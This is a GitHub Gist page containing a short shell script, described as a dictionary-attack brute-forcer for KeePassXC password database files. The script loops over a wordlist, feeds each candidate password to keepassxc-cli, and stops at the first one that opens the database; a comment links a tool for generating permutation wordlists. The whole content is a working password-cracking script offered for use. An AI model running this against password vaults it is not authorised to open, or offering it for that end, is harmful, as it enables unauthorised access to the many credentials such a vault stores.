Created
November 14, 2021 19:25
-
-
Save xorcare/de82f8bbf77532a9ffb28a9e6f441aa3 to your computer and use it in GitHub Desktop.
Brute force a KeepassXC database file with a dictionary attack
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# Usage: ./crack-keepassxc.sh passwords.kdbx dict.txt | |
# | |
# The dictionary file can be generated with: | |
# https://github.com/TimurKiyivinski/permutatify | |
while read -r password; do | |
echo "Using password: \"$password\"" | |
echo "$password" | keepassxc-cli db-info "$1" && exit 0 | |
done <"$2" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment